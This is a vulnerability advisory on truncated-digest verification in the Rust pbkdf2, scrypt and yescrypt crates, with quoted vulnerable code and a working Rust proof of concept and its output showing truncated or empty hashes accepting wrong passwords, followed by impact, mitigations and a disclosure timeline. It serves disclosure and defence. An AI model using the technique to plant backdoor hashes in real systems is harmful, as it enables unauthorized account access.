Description

The Modular Crypt Format (MCF) verifiers in the pbkdf2, scrypt and yescrypt crates size the computed digest from the stored hash string instead of the algorithm's fixed output length. In pbkdf2 0.13.0:

// pbkdf2/src/mcf.rs:108
let mut out_buf = [0u8; Params::MAX_OUTPUT_LENGTH];
let out = out_buf.get_mut(..expected.len()).ok_or(Error::OutputSize)?;

pbkdf2_hmac_with_params(password, salt, algorithm, params, out);

// TODO(tarcieri): use `subtle` or `ctutils` for comparison
if out
    .iter()
    .zip(expected.iter())
    .fold(0, |acc, (a, b)| acc | (a ^ b))
    == 0
{
    Ok(())
} else {
    Err(Error::PasswordInvalid)
}

expected is the decoded digest field of the stored string, and the derived key is sized to expected.len() before it is computed, so only the bytes the stored digest claims are compared. scrypt 0.12.0 and yescrypt 0.1.0 do the same (vec![0u8; expected.len()] at scrypt/src/mcf.rs:112 and yescrypt/src/mcf.rs:110); their ctutils comparison is constant-time but compares two equally truncated sides. The static analysis finding that located the bug:

./pbkdf2/src/mcf.rs:114:11: [partial-mac-compare] zip-fold compare of `out` and `expected` stops at the shorter input, so a truncated or empty signature verifies; compare lengths first (confidence: 5.0/10, CWE-347)

Consequences:

  1. A stored digest shorter than the algorithm output is compared as a prefix. A pbkdf2 digest field decoding to one byte compares one byte of the derived key, so roughly one password in 256 verifies; each extra byte adds a factor of 256. The correct password also keeps verifying, at the reduced strength.
  2. A PasswordHash built through the public builder with an empty digest verifies every password: zero bytes are compared. The parser rejects the string form, so this needs the in-process builder, where push_base64 accepts empty input.

Hashing never produces such hashes: pbkdf2::Params enforces a 10-byte minimum output, and scrypt and yescrypt derive a fixed 32 bytes. The flaw only shows on hash strings that arrive from elsewhere. libxcrypt rejects every malformed hash string used below.

Proof of concept

No builder API is used; every hash enters as a plain string:

use mcf::PasswordHashRef;
use password_hash::{CustomizedPasswordHasher, PasswordVerifier};
use pbkdf2::Pbkdf2;
use scrypt::{Params as ScryptParams, Scrypt};
use yescrypt::{Mode, Params as YescryptParams, Yescrypt};

const SALT: &[u8] = b"0123456789abcdef";

fn truncate(hash_str: &str, b64_len: usize) -> String {
    let (prefix, field) = hash_str.rsplit_once('$').expect("hash has a hash field");
    format!("{prefix}${}", &field[..b64_len])
}

fn main() {
    // pbkdf2: the digest field "AA" decodes to one byte, so verification
    // compares one byte of the derived key.
    let hash = PasswordHashRef::new("$pbkdf2-sha256$1000$saltsalt$AA").unwrap();
    for i in 0..20_000u32 {
        let password = format!("attacker{i}");
        if Pbkdf2::SHA256.verify_password(password.as_bytes(), hash).is_ok() {
            println!("pbkdf2  accepted wrong password {password:?}");
            break;
        }
    }

    // scrypt: a truncated digest keeps accepting the real password.
    let full: scrypt::mcf::PasswordHash = Scrypt::new()
        .hash_password_with_params(
            b"correct password",
            SALT,
            ScryptParams::new(4, 8, 1).unwrap(), // small on purpose
        )
        .unwrap();
    let short = truncate(&full.to_string(), 4); // 3 compared bytes
    let r = Scrypt::new().verify_password(
        b"correct password",
        PasswordHashRef::new(&short).unwrap(),
    );
    println!("scrypt  {short} correct password -> {r:?}");

    // yescrypt: shortened digest fields keep verifying the real password.
    let full: yescrypt::PasswordHash = Yescrypt::default()
        .hash_password_with_params(
            b"correct password",
            SALT,
            YescryptParams::new(Mode::Rw, 256, 8, 1).unwrap(),
        )
        .unwrap();
    for b64_len in [4usize, 8] {
        let s = truncate(&full.to_string(), b64_len);
        let r = Yescrypt::default().verify_password(
            b"correct password",
            PasswordHashRef::new(&s).unwrap(),
        );
        println!("yescrypt b64len={b64_len} correct password -> {r:?}");
    }
}

Output:

pbkdf2  accepted wrong password "attacker44"
scrypt  $7$26..../....k2XAnEHBqQ1Ct2aMXFKNa/$yQKp correct password -> Ok(())
yescrypt b64len=4 correct password -> Ok(())
yescrypt b64len=8 correct password -> Ok(())

The pbkdf2 hash accepted a wrong password after 45 tries, matching the expected 1-in-256 rate for one compared byte; in the original advisory a two-byte scrypt digest accepted a wrong password after about 20,000 tries (1 in 65536). Verified locally against the published crate versions and a checkout of upstream main at commit 958527c.

The empty-digest variant needs the builder, since the parser rejects the string form:

let mut h = PasswordHash::from_id("pbkdf2-sha256").unwrap();
h.push_str(&1000u32.to_string()).unwrap();
h.push_base64(SALT, Base64::Pbkdf2);
h.push_base64(&[], Base64::Pbkdf2); // closes the salt field
h.push_base64(&[], Base64::Pbkdf2); // empty digest
// Pbkdf2::SHA256.verify_password(pw, &h) is Ok(()) for "", "wrong",
// "admin" and "letmein".

Impact

Exploitation requires influence over the stored hash string: a SQL injection write, a compromised replica, a hash import or backup-restore path, or code that builds hash objects from partially trusted data.

  • The maintainer's position, on which the advisory was closed: the stored hash is a point of trust, and an attacker who can write it can simply replace it with one they know the password for.
  • What a truncated hash adds is stealth: the victim's real password keeps working while any password sharing the compared prefix also works. It is a backdoor that does not break the front door.
  • A hash that arrives short by accident keeps verifying the correct password with no warning, so the weakness stays hidden.

Severity is low: the empty-digest path is API misuse, and the truncated-digest path needs write access that usually already implies serious compromise. It reaches medium only where hash strings are accepted from less trusted sources by design (import endpoints, tenant-controlled records, restore-from-file features). No CVE was issued and no patch is available.

Solution

  • Reject digest fields shorter than the algorithm's output. passlib sizes the checksum to the digest (27, 43 and 86 base64 characters for pbkdf2 with sha1, sha256 and sha512) instead of trusting the stored length.
  • Reject empty digests in the builder or at verification time.
  • Replace the zip-fold with a constant-time comparison that requires equal lengths.

Until a fix lands, applications can decode the digest field themselves and reject any length below the algorithm's output size before calling verify.

Timeline

  • 2026-08-25: Privately reported as GHSA-qf9p-xhxg-4m5h; accepted the same day. Follow-up PoC shows truncated digests parse as plain strings.
  • 2026-09-11: Maintainer: minor API misuse, no coherent threat model.
  • 2026-09-13 to 2026-09-15: Threat model discussion; no agreement.
  • 2026-09-16: Advisory closed as "bugs not vulnerabilities". No CVE, no patch.
  • 2026-09-18: Public disclosure.

References